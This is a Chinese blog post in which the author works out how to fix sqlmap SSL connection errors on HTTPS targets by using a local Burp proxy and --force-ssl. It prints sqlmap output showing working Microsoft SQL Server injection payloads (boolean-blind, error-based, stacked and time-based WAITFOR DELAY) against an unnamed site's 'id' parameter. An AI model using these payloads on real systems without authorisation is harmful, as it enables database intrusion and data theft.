sqlmap在https下的一种错误 - ssl连接失败

在昨天与师傅的交流中师傅考了我一个问题,在用sqlmap跑的时候遇到ssl爆红该怎么办,因为在实战中并没有遇到过这种情况,所以今天补一下知识。

 

首先查询了ssl的概念,通俗来说,如果一个网站没有安装ssl证书,那么他的传输方式就是http传输,安装ssl证书过后就是https传输,https传输加密性比http好得多,这是其一;当你访问一些没有安装ssl的网站时,会出现如下界面:

sqlmap在https下的一种错误 - ssl连接失败

 

 

 

没有安装ssl会导致信息很容易被窃取,这是其二;拥有ssl证书的网站会在谷歌和百度拥有更高的权重,通俗来说就是当你搜索一个相同的内容时,拥有ssl的网站肯定会比没有ssl的网站在搜索上靠前。

 

了解概念之后回到师傅抛给我的问题,为什么网站会报ssl连接错误呢?

 

就是因为ssl证书的原因,而且sqlmap它是不能自动伪造ssl证书的,所以这时候就有两种方法去解决ssl爆红的操作:

 

  1. 通过本地代理端口进行访问

  2. 通过搭建web,访问代理文件进行注入

 

师傅给我说的是第一种方法是最常用的,用bp代理本地8080端口(--proxy http://127.0.0.1:8080)

 

8080端口是被用于WWW代理服务的,apache安装后默认的端口就是8080端口。

 

因为目标站是https,加入--force-ssl参数

 

sqlmap在https下的一种错误 - ssl连接失败

 

 

sqlmap在https下的一种错误 - ssl连接失败

 

 

然而还是报错ssl,这时候就只能代理本地的8080端口

 

sqlmap在https下的一种错误 - ssl连接失败

 

 

然后就能够顺利跑出来,结果如下:

Parameter: id (POST)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=3395 AND 1967=1967

    Vector: AND [INFERENCE]

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

    Payload: id=3395 AND 8669 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113)))

    Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113))

    Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries (comment)

    Payload: id=3395;WAITFOR DELAY '0:0:5'--

    Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)

    Payload: id=3395 WAITFOR DELAY '0:0:5'--

Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

 

另外一种方法就是用一个php文件直接用sqlmap跑php就ok

 

因为第二种方法比较麻烦,还要写代码,这里就先不搞了QAQ

 

查阅google后看到,第一种方法不一定用bp代理,通过charles本地映射后访问也可以。

上一篇:python – 如何通过文本到语音(pyTTS或SAPI5)延长单词之间的暂停


下一篇:JavaScript中this的问题